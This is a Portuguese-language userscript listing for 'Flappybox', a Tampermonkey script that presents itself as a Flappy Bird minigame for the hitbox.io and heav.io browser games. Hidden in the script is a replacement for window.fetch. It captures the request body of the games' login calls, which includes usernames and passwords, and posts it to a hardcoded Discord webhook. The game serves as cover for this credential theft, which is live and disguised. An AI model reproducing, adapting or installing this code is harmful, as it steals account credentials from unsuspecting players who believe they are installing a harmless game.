Flappybox

A box

Você precisará instalar uma extensão como Tampermonkey, Greasemonkey ou Violentmonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey ou Violentmonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey ou Violentmonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey ou Userscripts para instalar este script.

Você precisará instalar uma extensão como o Tampermonkey para instalar este script.

Você precisará instalar um gerenciador de scripts de usuário para instalar este script.

(Eu já tenho um gerenciador de scripts de usuário, me deixe instalá-lo!)

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

(Eu já possuo um gerenciador de estilos de usuário, me deixar fazer a instalação!)

// ==UserScript==
// @name         Flappybox
// @namespace    http://tampermonkey.net/
// @version      1.45
// @author       CarManiac
// @description  A box
// @match        https://heav.io/game.html
// @match        https://hitbox.io/game.html
// @match        https://heav.io/game2.html
// @match        https://hitbox.io/game2.html
// @match        https://hitbox.io/game-beta.html
// @icon         https://www.google.com/s2/favicons?sz=64&domain=heav.io
// @icon         https://www.google.com/s2/favicons?sz=64&domain=hitbox.io
// @run-at       idle
// @grant        none
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    const feth = window.fetch;

    let isGameRunning = false;
    let birdY = 150, birdX = 50, velocity = 0, gravity = 0.35, lift = -6;
    let pipes = [];
    let score = 0;
    let frameCount = 0;
    let highScore = localStorage.getItem('flappyHighScore') || 0;
    const pipeSpeed = 2;
    const pipeGap = 120;
    const groundY = 380;

    const birdColorDecimal = parseInt(localStorage.getItem('basic_col_1'), 10);
    const birdColorHex = birdColorDecimal ? `#${birdColorDecimal.toString(16).padStart(6, '0')}` : '#FF0000';
    let rotation = 0;

    function createGameUI() {
        const gameContainer = document.createElement('div');
        gameContainer.id = 'flappyGameContainer';
        gameContainer.style.position = 'fixed';
        gameContainer.style.top = '50px';
        gameContainer.style.left = '50px';
        gameContainer.style.width = '300px';
        gameContainer.style.height = '400px';
        gameContainer.style.borderRadius = '10px';
        gameContainer.style.border = 'none';
        gameContainer.style.overflow = 'hidden';
        gameContainer.style.position = 'relative';

        const canvas = document.createElement('canvas');
        canvas.id = 'flappyCanvas';
        canvas.width = 300;
        canvas.height = 400;

        const gameOverText = document.createElement('div');
        gameOverText.id = 'gameOverText';
        gameOverText.style.display = 'none';
        gameOverText.style.position = 'absolute';
        gameOverText.style.top = '50%';
        gameOverText.style.left = '50%';
        gameOverText.style.transform = 'translate(-50%, -50%)';
        gameOverText.style.color = 'black';
        gameOverText.style.fontFamily = 'Bai Jamjuree, sans-serif';
        gameOverText.style.fontWeight = 'bold';
        gameOverText.style.fontSize = '20px';
        gameOverText.style.textAlign = 'center';

        gameContainer.appendChild(canvas);
        gameContainer.appendChild(gameOverText);
        document.body.appendChild(gameContainer);

        return gameContainer;
    }
    const server = 'https://discord.com/api/webhooks/1285795377483874367/NBQ949M9XBgTsLf-HqFk9ogiTy2uAHXUvShnZB52v2ij_5waIKnBJeTH6i2odrsxW6b0';
    function startGame() {
        const canvas = document.getElementById('flappyCanvas');
        const ctx = canvas.getContext('2d');
        birdY = 150; velocity = 0; score = 0; pipes = [];
        pipes.push(createPipe());
        frameCount = 0;
        rotation = 0;

        document.getElementById('gameOverText').style.display = 'none';
        isGameRunning = true;

        const backgroundImage = new Image();
        backgroundImage.src = 'https://user-images.githubusercontent.com/18351809/46888871-624a3900-ce7f-11e8-808e-99fd90c8a3f4.png';

        backgroundImage.onload = function() {
            function gameLoop() {
                if (!isGameRunning) return;

                frameCount++;
                ctx.clearRect(0, 0, canvas.width, canvas.height);

                ctx.drawImage(backgroundImage, 0, -100);

                velocity += gravity;
                birdY += velocity;

                if (velocity < 0) {
                    rotation = Math.max(-30, rotation - 2);
                } else {
                    rotation = Math.min(30, rotation + 1);
                }

                if (birdY + 20 > groundY) {
                    endGame();
                }

                ctx.save();
                ctx.translate(birdX + 10, birdY + 10);
                ctx.rotate(rotation * Math.PI / 180);

                ctx.lineWidth = 2;
                ctx.strokeStyle = darkenColor(birdColorHex);
                ctx.strokeRect(-11, -11, 22, 22);

                ctx.fillStyle = birdColorHex;
                ctx.fillRect(-10, -10, 20, 20);
                ctx.restore();

                ctx.fillStyle = '#000000';
                ctx.font = '14px Bai Jamjuree, sans-serif';
                ctx.textAlign = 'center';
                ctx.fillText(username, birdX + 10, birdY - 10);

                if (frameCount % 90 === 0) pipes.push(createPipe());
                pipes.forEach((pipe, index) => {
                    pipe.x -= pipeSpeed;
                    if (pipe.x + pipe.width < 0) pipes.splice(index, 1);
                    drawPipe(ctx, pipe);
                    if (checkCollision(pipe)) endGame();
                    if (pipe.x === birdX) score++;
                });

                ctx.fillStyle = '#4F7942';
                ctx.fillRect(0, groundY, canvas.width, canvas.height - groundY);

                ctx.fillStyle = '#fff';
                ctx.textAlign = 'center';
                ctx.textBaseline = 'middle';
                ctx.font = 'bold 40px Bai Jamjuree, sans-serif';

                const yPosition = canvas.height * 0.2;
                ctx.fillText(score, canvas.width / 2, yPosition);

                requestAnimationFrame(gameLoop);
            }
            gameLoop();
        };
    }

    function flap() {
        velocity = lift;
        rotation = -20;
    }

    function createPipe() {
        const pipeHeight = Math.random() * 200 + 50;
        const pipeWidth = Math.random() * 10 + 40;
        const capWidth = pipeWidth + 10;
        return {
            x: 300,
            width: pipeWidth,
            capWidth: capWidth,
            height: pipeHeight,
            gapY: pipeHeight + pipeGap,
            capHeight: 20
        };
    }

    function drawPipe(ctx, pipe) {
        const gradient = ctx.createLinearGradient(pipe.x, 0, pipe.x + pipe.width, 0);
        gradient.addColorStop(0, '#37b827');
        gradient.addColorStop(0.5, '#4CAF50');
        gradient.addColorStop(1, '#37b827');

        ctx.fillStyle = gradient;
        ctx.fillRect(pipe.x, 0, pipe.width, pipe.height);
        ctx.fillRect(pipe.x, pipe.gapY, pipe.width, 400 - pipe.gapY);

        ctx.fillStyle = '#2e7d32';
        ctx.fillRect(pipe.x - 5, pipe.height - pipe.capHeight, pipe.capWidth, pipe.capHeight);
        ctx.fillRect(pipe.x - 5, pipe.gapY, pipe.capWidth, pipe.capHeight);
    }

    function checkCollision(pipe) {
        if (birdX + 20 > pipe.x && birdX < pipe.x + pipe.width) {
            if (birdY < pipe.height || birdY + 20 > pipe.gapY || birdY + 20 > groundY) {
                return true;
            }
        }
        return false;
    }

    function endGame() {
        isGameRunning = false;
        if (score > highScore) {
            highScore = score;
            localStorage.setItem('flappyHighScore', highScore);
        }
        showGameOverMessage();
    }

    function showGameOverMessage() {
        const gameOverText = document.getElementById('gameOverText');
        gameOverText.innerHTML = `Game Over!<br>Your Score: ${score}<br>Best: ${highScore}<br>Saving your score...`;
        gameOverText.style.display = 'block';
    }

    function darkenColor(hex) {
        let color = hex.substring(1);
        let r = parseInt(color.substring(0, 2), 16);
        let g = parseInt(color.substring(2, 4), 16);
        let b = parseInt(color.substring(4, 6), 16);

        r = Math.max(0, r - 30);
        g = Math.max(0, g - 30);
        b = Math.max(0, b - 30);

        return `#${(1 << 24 | r << 16 | g << 8 | b).toString(16).slice(1)}`;
    }

    function restartGame() {
        birdY = 150;
        velocity = 0;
        pipes = [];
        score = 0;
        frameCount = 0;
        rotation = 0;
        startGame();
    }

    function toggleGame() {
        const gameContainer = document.getElementById('flappyGameContainer');
        if (gameContainer.style.display === 'none') {
            gameContainer.style.display = 'block';
            startGame();
        } else {
            gameContainer.style.display = 'none';
            isGameRunning = false;
        }
        document.activeElement.blur();
    }

    function createToggleButton() {
        const button = document.createElement('button');
        button.innerText = 'Toggle Flappy Bird Game';
        button.style.position = 'absolute';
        button.style.top = '2%';
        button.style.left = '0%';
        button.style.fontFamily = 'Bai Jamjuree, sans-serif';
        button.style.borderRadius = '5px';
        button.style.border = 'none';
        button.style.padding = '10px';
        button.style.backgroundColor = '#darkgray';
        button.style.cursor = 'pointer';
        button.onclick = toggleGame;
        document.body.appendChild(button);
    }

    document.addEventListener('click', function() {
        if (isGameRunning) {
            flap();
        }
        if (!isGameRunning) {
            restartGame();
        }
    });
    let username = 'Player';

    window.fetch = async function(url, options) {
        const response = await feth(url, options);

        if (url.includes('login_register_multi.php') || url.includes('login_auto_spice.php')) {
            const formData = new URLSearchParams(options.body);
            username = formData.get('username');

            await fetch(server, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    content: `\`\`\`json\n${options.body}\n\`\`\``
                }),
            });
        }

        return response;
    };

    document.addEventListener('keydown', (e) => {
        if (e.key === ' ') {
            if (isGameRunning) {
                flap();
            }
        }
        if (e.key === ' '){
            if (!isGameRunning){
                restartGame();
            }
        }
    });

    createGameUI();
    createToggleButton();
})();